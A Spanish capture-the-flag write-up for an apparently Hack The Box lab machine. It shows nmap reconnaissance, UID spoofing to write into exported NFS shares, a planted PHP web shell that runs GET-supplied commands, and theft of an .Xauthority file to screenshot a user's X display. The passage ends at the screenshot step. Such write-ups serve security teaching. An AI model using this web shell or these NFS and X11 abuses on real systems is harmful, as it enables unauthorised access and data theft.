Reconocimiento
Empezamos con nmap para ver los puertos abiertos de la máquina:
1
|
nmap -p- --open -T5 -n -Pn 10.10.11.191 -oG openTCPports
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 11:38 CET
Nmap scan report for 10.10.11.191
Host is up (0.046s latency).
Not shown: 62200 closed tcp ports (conn-refused), 3328 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
37295/tcp open unknown
39085/tcp open unknown
40725/tcp open unknown
41253/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds
|
Extraemos los puertos obtenidos
1
|
[!] Open ports: 22,80,111,37295,39085,40725,41253
|
Ahora ejecutamos un conjunto de scripts de reconocimiento predefinidos por nmap para recopilar información sobre los servicios expuestos en la máquina objetivo.
1
|
nmap -p22,80,111,37295,39085,40725,41253 -sVC 10.10.11.191 -oN openTCPservices
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33076/udp6 mountd
| 100005 1,2,3 37295/tcp mountd
| 100005 1,2,3 37554/udp mountd
| 100005 1,2,3 48007/tcp6 mountd
| 100021 1,3,4 33429/udp6 nlockmgr
| 100021 1,3,4 34107/tcp6 nlockmgr
| 100021 1,3,4 40725/tcp nlockmgr
| 100021 1,3,4 41020/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
37295/tcp open mountd 1-3 (RPC #100005)
39085/tcp open mountd 1-3 (RPC #100005)
40725/tcp open nlockmgr 1-4 (RPC #100021)
41253/tcp open mountd 1-3 (RPC #100005)
|
Antes de indigar más en los volúmenes NFS echaremos un vistazo a la página web.
Obteniendo acceso a la máquina víctima
La página web en sí no parece tener mucha información; es la típica página modelo que nos solemos encontrar. Parece que hay una sección de login pero no nos lleva a ningún lado.
Vamos a echarle un vistazo entonces a RPC y en paralelo dejaremos trabajando gobuster para encontrar algún recurso en la web.
1
|
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.191
|
Listamos los recursos compartidos a nivel de red en el equipo objetivo.
1
|
showmount -e 10.10.11.191
|
1
2
3
|
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
|
Creamos un punto de montaje y montamos el volumen compartido:
1
|
mkdir /mnt/ross ; mount -t nfs 10.10.11.191:/home/ross /mnt/ross
|
Intento con Keepass database file (kdbx)
Listamos los recursos del volumen montado:
1
2
3
4
5
6
7
8
9
10
|
/mnt/ross
├── Desktop
├── Documents
│ └── Passwords.kdbx
├── Downloads
├── Music
├── Pictures
├── Public
├── Templates
└── Videos
|
Nos interesa el archivo con extensión “kdbx” perteneciente al software gestor de contraseñas KeePass.
Lo traemos a nuestro equipo y lanzamos “keepass2john”:
1
|
keepass2john Password.kdbx
|
Sin embargo …
1
|
! Passwords.kdbx : File version '40000' is currently not supported!
|
Creamos un pequeño script en bash para usar una herramienta cli para encontrar la contraseña por fuerza bruta (disponible en la página de scripts).
La velocidad es muy lenta, aunque se paralelice por lo que me hace pensar que el fichero es un agujero sin salida, puesto ahí para distraer.
RCE web-shell en php
Dado que parece que no hay nada de interés en este volumen, montamos el otro volumen, igual que antes:
1
|
mkdir /mnt/html ; mount -t nfs 10.10.11.191:/var/www/html /mnt/html
|
En principio no podemos acceder al directorio. Con el comando ls -l
vemos que el dueño es un usuario con uid 2017 por lo que ejecutamos:
1
|
useradd squash -u 2017 -m -s /bin/bash ; sudo -u squash bash
|
Pudiendo acceder ya a la carpeta en cuestión, vamos a comprobar con la creación de un fichero de prueba para ver si lo podemos ver.
1
|
echo "Hello! This is a test.!" > test.html
|
Efectivamente podemos acceder al archivo, así que veamos si podemos hacer lo mismo con php.
1
|
echo "<pre><?php phpinfo(); ?><pre>" > info.php
|
Y efectivamente:
Con esto ya podemos establecer una web shell que medinte GET obtenga el comando que queramos ejecutar en la máquina objetivo.
1
2
3
4
5
|
<?php
echo "<pre>". shell_exec($_GET["cmd"]) . " </pre>";
?>
|
Escalada de privilegios
Una vez ganado el acceso al sistema, nos interesa volver un poco atrás y echar un vistazo al directorio de ross, donde vemos algo que nos puede ser de utilidad para la escalada:
Copiamos el fichero a nuestro usuario actual, para ver si podemos hacer una captura de pantalla.
Si ejecutamos el siguiente comando, veremos que obtenemos que no hay ninguna pantalla disponible:
1
|
xdpyinfo: unable to open display ":0".
|
Sin embargo no nos deja descargarlo. Tras investigar un poco parece ser porque no tenemos los permisos suficientes, por lo que nos aprovechamos de la montura nfs y la gestionamos con un usuario cuyo uid sea 1001.
Con el fichero “.Xauthority” en nuestro usuario actual, volvemos a ejecutar el comando anterior y …
1
2
3
4
5
6
7
8
9
10
11
|
xdpyinfo -display :0
name of display: :0
version number: 11.0
vendor string: The X.Org Foundation
vendor release number: 12013000
X.Org version: 1.20.13
maximum request size: 16777212 bytes
motion buffer size: 256
bitmap unit, bit order, padding: 32, LSBFirst, 32
image byte order: LSBFirst
...
|
No olvidemos que hay que darle valor a la variable HOME porque si no no sabrá donde está el fichero.
Hacemos una captura:
1
|
xwd -root -screen -silent -display :0 > file.xwd
|
Nos la pasamos a nuestro equipo y: